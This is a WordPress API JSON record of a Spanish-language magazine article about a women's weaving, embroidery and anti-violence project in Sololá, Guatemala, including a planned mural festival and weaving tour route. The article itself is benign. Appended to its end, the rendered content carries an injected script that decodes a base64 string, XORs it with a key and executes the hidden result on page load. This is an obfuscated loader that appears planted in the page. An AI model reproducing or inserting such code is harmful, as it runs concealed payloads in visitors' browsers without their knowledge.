{"id":12053,"date":"2024-05-16T07:40:18","date_gmt":"2024-05-16T15:40:18","guid":{"rendered":"https:\/\/www.entremundos.org\/revista\/?p=12053"},"modified":"2026-07-05T10:18:19","modified_gmt":"2026-07-05T18:18:19","slug":"tejiendo-vidas-libre-de-violencia","status":"publish","type":"post","link":"https:\/\/www.entremundos.org\/revista\/politica\/tejiendo-vidas-libre-de-violencia\/","title":{"rendered":"Tejiendo vidas libre de violencia"},"content":{"rendered":"<p>POR EMMA G\u00d3MEZ<\/p>\n<p>A partir del a\u00f1o 2020 la Mancomunidad Tzolojya en Solol\u00e1, realiza esfuerzos de trabajo relacionados a derechos de las mujeres, participaci\u00f3n ciudadana, erradicaci\u00f3n de la violencia y procesos de sanaci\u00f3n; promoviendo el rescate de las t\u00e9cnicas y pr\u00e1cticas ancestrales del tejido como una herramienta para la generaci\u00f3n econ\u00f3mica.<\/p>\n<p><strong>Tejidos y luchas<\/strong><\/p>\n<p>La estrategia utilizada ha sido el trabajo con escuelas de tejidos y talleres de bordados, en donde se atienden a un total de 300 mujeres anualmente y se promueven la formaci\u00f3n para su empoderamiento econ\u00f3mico, social y pol\u00edtico. Estos ambientes se constituyen como espacios seguros de encuentro y de di\u00e1logo, donde las mujeres pueden hablar y analizar problem\u00e1ticas comunes en sus comunidades, donde tiene la seguridad de poder abordar el tema de violencia que viven cada una de ellas, permitiendo identificarlas como mujeres v\u00edctimas y sobrevivientes de violencia.<\/p>\n<p>Cuando en estos espacios se identifican mujeres con necesidades de atenci\u00f3n espec\u00edfica, se ponen en marcha los mecanismos para la derivaci\u00f3n de los casos, motivo por el cual se han realizado coordinaciones estrat\u00e9gicas con la Casa de la Mujer, brindando as\u00ed la atenci\u00f3n necesaria en \u00e1reas legales, sociales y psicol\u00f3gicas, promoviendo a la vez procesos de sanaci\u00f3n. Tambi\u00e9n es importante mencionar que, el tejido y el bordado son considerados como pr\u00e1cticas de terapia ocupacional de las mujeres v\u00edctimas y sobrevivientes de violencia machista.<\/p>\n<p>Aunado a las estrategias de prevenci\u00f3n de violencia y formaci\u00f3n de derechos humanos para las participantes, el rescate de las t\u00e9cnicas de tejido y bordado es concebido como una forma de reivindicaci\u00f3n de los pueblos, la representaci\u00f3n de su cultura milenaria, historia de tradici\u00f3n ancestral que las mujeres j\u00f3venes con el pasar del tiempo han perdido, por lo que se pretende continuar la herencia de la indumentaria a trav\u00e9s de la formaci\u00f3n y rescate de estas t\u00e9cnicas.<\/p>\n<p>En el proceso de seguimiento, las alcald\u00edas municipales de los tres municipios que conforman la mancomunidad han declarado de manera verbal y escrita su aporte econ\u00f3mico y material, valorando el funcionamiento de las escuelas municipales de tejido y los talleres de bordado. Por su parte, la Mancomunidad Tzolojya tiene a su cargo la construcci\u00f3n y equipamiento de un centro intermunicipal para la atenci\u00f3n y formaci\u00f3n empresarial de mujeres del territpartiorio en cuanto a pr\u00e1cticas y t\u00e9cnicas ancestrales del tejido y bordado, y el compromiso de garantizar su sostenibilidad, es decir asegurar su operaci\u00f3n y funcionamiento posterior al periodo del proyecto.<\/p>\n<p>Este proyecto se desarrolla a trav\u00e9s m\u00f3dulos formativos tanto en tejido como bordado, fomentando el empoderamiento econ\u00f3mico y permitiendo que muchas de las estudiantes inicien sus emprendimientos y venta de productos al culminar los procesos, lo que promueve la mejora en la calidad de vida de cada participante.<br \/>\nCabe mencionar que en estas implementaciones, la Direcci\u00f3n Municipal de la mujer, el Ministerio de agricultura ganader\u00eda y Alimentaci\u00f3n (MAGA), y la Direcci\u00f3n general de educaci\u00f3n extraescolar (DIGEEX) del Ministerio de Educaci\u00f3n, han desempe\u00f1ado un rol importante en la identificaci\u00f3n de las acciones.<\/p>\n<p>Como parte del proyecto \u201cTejiendo Vidas Libres de Violencia\u201d y en consonancia con la promoci\u00f3n de turismo comunitario, para este a\u00f1o 2024 se organiza la realizaci\u00f3n de un festival de murales en espacios p\u00fablicos en San Jos\u00e9 Chacay\u00e1. Se busca que estas expresiones art\u00edsticas representen la identidad de la comunidad con elementos significativos propios del municipio y que tambi\u00e9n sean un atractivo tur\u00edstico id\u00f3neo que env\u00ede mensajes y narrativas para la erradicaci\u00f3n de violencia machista y la creaci\u00f3n de ambientes libres de violencia.<\/p>\n<p>La lucha inici\u00f3 hace algunos a\u00f1os, y como resultado, en la actualidad existe mayor participaci\u00f3n de las mujeres en el territorio desde las intervenciones, las formaciones y la sensibilizaci\u00f3n. Este a\u00f1o, se han visto avances en el tema de participaci\u00f3n ciudadana, principalmente en la toma de decisiones, puesto que en uno de los Consejos Municipales ya participan mujeres, lo que aporta a los procesos de gobernanza e incidencia.<\/p>\n<p>El festival denominado \u201cKaq\u2019omaj Chacay\u00e1\u201d que significa \u201cPintando Chacay\u00e1\u201d, en idioma Kaqchiqel, invita a trav\u00e9s de su eslogan a la creaci\u00f3n de \u201cambientes libres de violencia\u201d, ambientes arm\u00f3nicos para la convivencia y el reflejo de identidad. El festival prioriza la participaci\u00f3n de mujeres artistas que reflejen la memoria de los pueblos y sus saberes, como tambi\u00e9n la prevenci\u00f3n de violencia contra su g\u00e9nero, reivindicando los mensajes por medio del arte.<br \/>\nEste a\u00f1o se han retomado alianzas y propuestas de intervenci\u00f3n en relaci\u00f3n al turismo comunitario del territorio, para lo cual se realizar\u00e1 el lanzamiento de la ruta del tejido y se especializa la oferta en el agroturismo para garantizar la estad\u00eda de los visitantes, en el marco del turismo sostenible abordando tem\u00e1ticas relacionadas a equidad de g\u00e9nero y masculinidades positivas.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>El tour del tejido y la identidad<\/strong><\/p>\n<p>Para junio de este a\u00f1o se tiene planificado implementar el recorrido tur\u00edstico de lugares donde se promueven los tejidos, con esto no solo se fortalecen las alianzas para mantener vivo el trabajo del tejido, sino que se fortalecen las identidades de los pueblos ind\u00edgenas.<\/p>\n<p>La Ruta del Tejido nace como una idea principal de conectar las escuelas de tejido que se tienen establecidas en los tres municipios. Estas escuelas de tejidos son espacios municipales donde se les dota de herramientas e insumos para promover la participaci\u00f3n.<\/p>\n<p>El objetivo principal es que la ruta sea administrada y desarrollada por las mujeres del territorio. La idea es tener un paquete tur\u00edstico con atractivos y servicios de la cuenca alta que vinculen todo el tema de producci\u00f3n agr\u00edcola, de plantas medicinales y hortalizas; por lo que se espera que esto tambi\u00e9n forme parte de las experiencias de los visitantes. Por ejemplo, se podr\u00e1 participar en la ruta del tejido, pero tambi\u00e9n se podr\u00e1 optar al tour de miel donde se utilizar\u00e1 un traje de apicultores para extraer la miel.<\/p>\n<p>Los 10 murales formar\u00e1n parte de la Ruta del Tejido que fomentar\u00e1 el turismo comunitario por medio de las expresiones culturales plasmadas en las principales calles del municipio de San Jos\u00e9 Chacay\u00e1, junto con las escuelas de bordado en la que se promover\u00e1n experiencias vivenciales con turistas locales y extranjeros. Con estas estrategias se busca el crecimiento econ\u00f3mico del municipio, junto con Santa Luc\u00eda Utatl\u00e1n que tambi\u00e9n formar\u00e1 parte de la Ruta del Tejido.<\/p>\n<p>Adem\u00e1s, se tiene previsto construir una Pol\u00edtica Municipal de Turismo para que pueda ser el ancla y seguidamente invertir en infraestructura y en capacitaciones. Dentro de lo que se ofrecer\u00e1 como turismo comunitario se incluir\u00e1 la Ruta Esc\u00e9nica la cual busca la revalorizaci\u00f3n cultural y natural de los recursos que se tienen en la cuenca alta del Lago de Atitl\u00e1n. Los murales estar\u00e1n relacionados con la cultura y principalmente, al tema de tejidos y Derechos Humanos del municipio. En definitiva, la ruta del tejido complementa un fuerte v\u00ednculo a la identidad cultural de la comunidad, lo que sin duda har\u00e1 que este producto tur\u00edstico sea \u00fanico y que tenga sobre todo representatividad comunitaria.<\/p>\n<p>El fin es motivar a las mujeres para que puedan tener independencia econ\u00f3mica, que mantengan y promuevan la cultura del tejido y puedan vivir una vida libre de violencia. Desde el 2019 se ha trabajado con m\u00e1s 300 mujeres del departamento para promover y dar a conocer esta t\u00e9cnica de tejido y de bordado, que es necesaria para poder reafirmar todos los conocimientos de identidad, as\u00ed como tambi\u00e9n apoyar la generaci\u00f3n de ingresos econ\u00f3micos dentro de la misma comunidad.<\/p>\n<p>Paralelamente se continuar\u00e1n realizando formaciones en relaci\u00f3n a Derechos Humanos, participaci\u00f3n ciudadana y procesos de sanaci\u00f3n, lo que definitivamente ha cambiado la forma de ver la vida de muchas mujeres, generando principalmente oportunidades de crecimiento para cada una.<\/p>\n<p><em>Este art\u00edculo se produce gracias al apoyo de la asociaci\u00f3n La Agencia Vasca de Cooperaci\u00f3n y la asociaci\u00f3n Entreamigos-Lagun Artean que promueve los derechos humanos de las mujeres en regiones de Guatemala y en el Pa\u00eds Vasco.<\/em><script>;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>POR EMMA G\u00d3MEZ A partir del a\u00f1o 2020 la Mancomunidad Tzolojya en Solol\u00e1, realiza esfuerzos de trabajo relacionados a derechos de las mujeres, participaci\u00f3n ciudadana, erradicaci\u00f3n de la violencia y procesos de sanaci\u00f3n; promoviendo el rescate de las t\u00e9cnicas y pr\u00e1cticas ancestrales del tejido como una herramienta para la generaci\u00f3n econ\u00f3mica. Tejidos y luchas La [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":11972,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[402,452,386,378,1772],"tags":[],"class_list":["post-12053","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-accion-comunitaria-3","category-frontpage","category-mujer","category-politica","category-situacion-social"],"_links":{"self":[{"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/posts\/12053","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/comments?post=12053"}],"version-history":[{"count":4,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/posts\/12053\/revisions"}],"predecessor-version":[{"id":14063,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/posts\/12053\/revisions\/14063"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/media\/11972"}],"wp:attachment":[{"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/media?parent=12053"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/categories?post=12053"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/tags?post=12053"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}